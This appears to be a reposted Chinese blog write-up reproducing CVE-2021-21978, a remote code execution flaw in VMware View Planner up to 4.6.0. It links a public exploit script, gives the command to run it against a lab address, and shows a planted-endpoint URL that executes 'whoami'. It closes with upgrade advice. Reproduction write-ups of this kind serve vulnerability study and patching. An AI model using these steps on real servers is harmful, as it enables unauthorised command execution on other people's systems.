ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

VM View Planner RCE 漏洞(CVE-2021-21978)复现

2021-03-28 19:57:08  阅读:176  来源: 互联网

标签:Planner 21978 VM 2021 https CVE View


简介

 

View Planner是VMware官方推出的一款针对view桌面的测试工具,通过这个测试工具可以估算出在指定的应用环境下可以发布多少个view桌面。

 

影响版本

VMware View Planner <= 4.6.0

 

 

环境搭建

 

https://my.vmware.com/en/group/vmware/downloads/details?downloadGroup=VIEW-PLAN-460&productId=1067&rPId=53394

直接导入

 

漏洞复现

 

Exp地址

https://github.com/skytina/CVE-2021-21978
py -3 CVE-2021-21978.py https://192.168.1.100/

访问https://192.168.1.100//logupload?secert=NiuNiu2020&command=whoami

 

修复建议

 

升级到安全版本

 

标签:Planner,21978,VM,2021,https,CVE,View
来源: https://blog.csdn.net/xuandao_ahfengren/article/details/115286041

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有